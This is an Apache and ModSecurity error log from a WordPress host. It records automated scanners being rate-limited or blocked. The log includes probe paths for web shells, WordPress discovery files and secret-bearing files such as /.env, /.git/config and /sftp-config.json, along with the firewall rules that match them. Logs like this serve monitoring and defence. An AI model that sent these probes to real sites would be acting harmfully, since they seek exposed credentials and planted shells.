[Sat Mar 14 02:12:54.589304 2026] [:error] [pid 47878:tid 47955] [client 4.204.197.4:20368] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abRTpn8jymmmpr1jcBe3dgAAAFA"]
[Sat Mar 14 02:12:55.014287 2026] [:error] [pid 47878:tid 47940] [client 4.204.197.4:20436] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "abRTp38jymmmpr1jcBe3dwAAAEE"]
[Sat Mar 14 02:12:55.433294 2026] [:error] [pid 48070:tid 48077] [client 4.204.197.4:20366] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "abRTp0IvrhMS5BVHxNkw3QAAAAU"]
[Sat Mar 14 02:12:55.865361 2026] [:error] [pid 47891:tid 47976] [client 4.204.197.4:20407] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "abRTp_chNnuMqi7I_WENEAAAAIo"]
[Sat Mar 14 02:12:56.306526 2026] [:error] [pid 47891:tid 47989] [client 4.204.197.4:20358] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "abRTqPchNnuMqi7I_WENFwAAAJc"]
[Sat Mar 14 02:12:56.719564 2026] [:error] [pid 47891:tid 47980] [client 4.204.197.4:20472] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "abRTqPchNnuMqi7I_WENHAAAAI4"]
[Sat Mar 14 02:12:57.130808 2026] [:error] [pid 47905:tid 48007] [client 4.204.197.4:20371] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "abRTqRaYZayP4o4wpJc1ZgAAAU4"]
[Sat Mar 14 02:12:57.544685 2026] [:error] [pid 47891:tid 47977] [client 4.204.197.4:20462] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "abRTqfchNnuMqi7I_WENHwAAAIs"]
[Sat Mar 14 02:12:57.954760 2026] [:error] [pid 47891:tid 47981] [client 4.204.197.4:20455] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "abRTqfchNnuMqi7I_WENIQAAAI8"]
[Sat Mar 14 02:12:58.364175 2026] [:error] [pid 47891:tid 47989] [client 4.204.197.4:20408] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "abRTqvchNnuMqi7I_WENJAAAAJc"]
[Sat Mar 14 02:12:58.775436 2026] [:error] [pid 47891:tid 47990] [client 4.204.197.4:20378] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "abRTqvchNnuMqi7I_WENJgAAAJg"]
[Sat Mar 14 02:12:59.198450 2026] [:error] [pid 48070:tid 48076] [client 4.204.197.4:20451] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "abRTq0IvrhMS5BVHxNkw4gAAAAQ"]
[Sat Mar 14 02:12:59.645416 2026] [:error] [pid 47878:tid 47943] [client 4.204.197.4:20397] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "abRTq38jymmmpr1jcBe3fgAAAEQ"]
[Sat Mar 14 02:13:00.087553 2026] [:error] [pid 48070:tid 48094] [client 4.204.197.4:20427] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "abRTrEIvrhMS5BVHxNkw5gAAABY"]
[Sat Mar 14 16:49:19.458939 2026] [:error] [pid 61477:tid 61482] [client 173.239.224.97:61287] [client 173.239.224.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.97, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abUhD6cx6muYfIYRM7CmsgAAAEE"]
[Sat Mar 14 16:49:19.468762 2026] [proxy_fcgi:error] [pid 61477:tid 61482] [client 173.239.224.97:61287] AH01071: Got error 'Primary script unknown'
[Sat Mar 14 17:21:44.671640 2026] [:error] [pid 61383:tid 61437] [client 49.150.205.230:26281] [client 49.150.205.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.205.230, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abUoqC4SAn4TCd4o0dXWbQAAARU"]
[Sat Mar 14 17:21:44.681625 2026] [proxy_fcgi:error] [pid 61383:tid 61437] [client 49.150.205.230:26281] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 05:15:34.608839 2026] [autoindex:error] [pid 38645:tid 38665] [client 167.172.93.181:58736] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 05:29:50.420617 2026] [:error] [pid 9995:tid 10017] [client 45.131.195.97:56931] [client 45.131.195.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.97, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abXTTga8xkcaSmgTbwji8AAAARM"]
[Sun Mar 15 05:29:50.431591 2026] [proxy_fcgi:error] [pid 9995:tid 10017] [client 45.131.195.97:56931] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 12:47:32.378339 2026] [:error] [pid 45974:tid 45987] [client 34.47.182.97:53905] [client 34.47.182.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "abY55BWn4R6u72SegehwBAAAAgs"]
[Sun Mar 15 16:06:19.654052 2026] [:error] [pid 38536:tid 38562] [client 146.196.44.148:29759] [client 146.196.44.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.196.44.148, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abZoe_pTEqkVJ0rBEWv59wAAAAk"]
[Sun Mar 15 16:06:19.666006 2026] [proxy_fcgi:error] [pid 38536:tid 38562] [client 146.196.44.148:29759] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 16:13:18.893230 2026] [:error] [pid 38540:tid 38594] [client 104.234.53.69:49983] [client 104.234.53.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.69, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abZqHl8bnHsJ1dE90bJcqgAAAEg"]
[Sun Mar 15 16:13:18.904733 2026] [proxy_fcgi:error] [pid 38540:tid 38594] [client 104.234.53.69:49983] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 17:15:37.420275 2026] [:error] [pid 38645:tid 38663] [client 191.96.67.95:18512] [client 191.96.67.95] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abZ4uRFPHtsDUuVrWDZzlgAAANA"]
[Sun Mar 15 18:39:32.655666 2026] [proxy_fcgi:error] [pid 45801:tid 45827] [client 185.167.97.122:61827] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 18:39:44.087211 2026] [proxy_fcgi:error] [pid 45801:tid 45805] [client 185.167.97.122:62270] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 18:39:46.675373 2026] [proxy_fcgi:error] [pid 45801:tid 45816] [client 185.167.97.122:62270] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:23.983851 2026] [proxy_fcgi:error] [pid 42570:tid 42575] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:24.171739 2026] [proxy_fcgi:error] [pid 42570:tid 42589] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:24.544283 2026] [proxy_fcgi:error] [pid 42570:tid 42581] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:24.731618 2026] [proxy_fcgi:error] [pid 42570:tid 42582] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:25.104891 2026] [proxy_fcgi:error] [pid 42570:tid 42573] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:25.290765 2026] [proxy_fcgi:error] [pid 42570:tid 42578] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:25.476121 2026] [proxy_fcgi:error] [pid 42570:tid 42590] [client 44.245.17.117:64963] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 23:35:25.845026 2026] [:error] [pid 42570:tid 42576] [client 44.245.17.117:64963] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbRvcIUXZJLmk_gYCMlpQAAAYM"]
[Sun Mar 15 23:35:28.148078 2026] [:error] [pid 45801:tid 45804] [client 44.245.17.117:50010] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbRwIaKHL9CTKoVzTBs_wAAAcE"]
[Sun Mar 15 23:35:31.100412 2026] [:error] [pid 38645:tid 38666] [client 44.245.17.117:51427] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbRwxFPHtsDUuVrWDYAdgAAANM"]
[Sun Mar 15 23:35:33.445157 2026] [:error] [pid 45974:tid 45977] [client 44.245.17.117:52150] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbRxRWn4R6u72Segejo8wAAAgE"]
[Mon Mar 16 00:15:25.495929 2026] [:error] [pid 45801:tid 45821] [client 103.21.165.54:54858] [client 103.21.165.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.21.165.54, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abbbHYaKHL9CTKoVzTB0OQAAAdI"]
[Mon Mar 16 00:15:25.506650 2026] [proxy_fcgi:error] [pid 45801:tid 45821] [client 103.21.165.54:54858] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 03:03:56.441746 2026] [:error] [pid 23458:tid 23478] [client 34.139.16.210:55730] [client 34.139.16.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.139.16.210, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abcCnA4cKIHVuOkxhho9WAAAARI"]
[Mon Mar 16 03:03:56.452500 2026] [proxy_fcgi:error] [pid 23458:tid 23478] [client 34.139.16.210:55730] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 03:03:58.889443 2026] [:error] [pid 23458:tid 23482] [client 34.139.16.210:55730] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abcCng4cKIHVuOkxhho9cQAAARY"]
[Mon Mar 16 03:03:59.316936 2026] [:error] [pid 60947:tid 61020] [client 34.139.16.210:50812] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abcCn_8DVbvyAQDJWh2EWAAAANE"]
[Mon Mar 16 03:03:59.747716 2026] [:error] [pid 60679:tid 60793] [client 34.139.16.210:58699] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "abcCn5nX8fEKZeqoouE1EAAAAE4"]
[Mon Mar 16 03:04:00.166209 2026] [:error] [pid 60947:tid 61005] [client 34.139.16.210:63319] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abcCoP8DVbvyAQDJWh2EXgAAAMM"]
[Mon Mar 16 03:04:00.595249 2026] [:error] [pid 60679:tid 60797] [client 34.139.16.210:59275] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abcCoJnX8fEKZeqoouE1EQAAAFI"]
[Mon Mar 16 03:04:01.032979 2026] [:error] [pid 60947:tid 61010] [client 34.139.16.210:65480] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abcCof8DVbvyAQDJWh2EYgAAAMg"]
[Mon Mar 16 03:04:01.458677 2026] [:error] [pid 23458:tid 23462] [client 34.139.16.210:63319] [client 34.139.16.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abcCoQ4cKIHVuOkxhho9dAAAAQI"]
[Mon Mar 16 04:29:41.637349 2026] [:error] [pid 62529:tid 62540] [client 92.97.235.70:59256] [client 92.97.235.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.97.235.70, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abcWtT84-luOVYZKK0NHFAAAAMM"]
[Mon Mar 16 04:29:41.648691 2026] [proxy_fcgi:error] [pid 62529:tid 62540] [client 92.97.235.70:59256] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 07:02:26.955857 2026] [:error] [pid 62429:tid 62497] [client 203.188.168.22:35755] [client 203.188.168.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.22, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abc6glewIPukhLCowEHc-gAAAIE"]
[Mon Mar 16 07:02:27.004297 2026] [proxy_fcgi:error] [pid 62429:tid 62497] [client 203.188.168.22:35755] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 08:12:00.354899 2026] [:error] [pid 12822:tid 12852] [client 103.65.237.124:53003] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "abdK0IG9Ft4WPo7r7sRmaQAAAdE"]
[Mon Mar 16 10:50:41.010613 2026] [proxy_fcgi:error] [pid 62119:tid 62146] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:41.198375 2026] [proxy_fcgi:error] [pid 62119:tid 62130] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:41.388315 2026] [proxy_fcgi:error] [pid 62119:tid 62122] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:41.575903 2026] [proxy_fcgi:error] [pid 62119:tid 62134] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:41.764441 2026] [proxy_fcgi:error] [pid 62119:tid 62144] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:41.953472 2026] [proxy_fcgi:error] [pid 62119:tid 62125] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:42.414680 2026] [proxy_fcgi:error] [pid 62119:tid 62140] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:42.604732 2026] [proxy_fcgi:error] [pid 62119:tid 62127] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:42.801954 2026] [proxy_fcgi:error] [pid 62119:tid 62128] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:43.092613 2026] [proxy_fcgi:error] [pid 62119:tid 62144] [client 44.245.17.117:54751] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 10:50:43.288956 2026] [:error] [pid 62119:tid 62141] [client 44.245.17.117:54751] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "abdwAz-Co-Fir-PyAwfLUAAAANM"]
[Mon Mar 16 10:50:46.085495 2026] [:error] [pid 62510:tid 62522] [client 44.245.17.117:56636] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "abdwBiE33_T9aKpoDdje5gAAAQk"]
[Mon Mar 16 10:50:47.411705 2026] [:error] [pid 62024:tid 62032] [client 44.245.17.117:58060] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "abdwB4k-5rtjYvjqC_o07gAAAAM"]
[Mon Mar 16 10:50:52.497866 2026] [:error] [pid 62119:tid 62126] [client 44.245.17.117:58889] [client 44.245.17.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "abdwDD-Co-Fir-PyAwfLcgAAAMQ"]
[Mon Mar 16 11:05:11.004320 2026] [:error] [pid 62024:tid 62051] [client 173.239.236.118:31509] [client 173.239.236.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.118, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abdzZ4k-5rtjYvjqC_o5jgAAABY"]
[Mon Mar 16 11:05:11.039288 2026] [proxy_fcgi:error] [pid 62024:tid 62051] [client 173.239.236.118:31509] AH01071: Got error 'Primary script unknown'
[Mon Mar 16 11:05:22.300543 2026] [:error] [pid 62024:tid 62032] [client 173.239.236.118:31509] [client 173.239.236.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "abdzcok-5rtjYvjqC_o6OgAAAAM"]
[Mon Mar 16 11:05:22.521145 2026] [:error] [pid 62510:tid 62513] [client 173.239.236.73:65529] [client 173.239.236.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abdzciE33_T9aKpoDdjp8wAAAQA"]
[Mon Mar 16 11:05:23.811186 2026] [:error] [pid 62510:tid 62524] [client 173.239.236.182:42723] [client 173.239.236.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "abdzcyE33_T9aKpoDdjqBAAAAQs"]
[Mon Mar 16 11:05:24.031835 2026] [:error] [pid 62025:tid 62063] [client 173.239.236.160:41591] [client 173.239.236.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abdzdOimBfLmKh7zLXMCoQAAAEQ"]
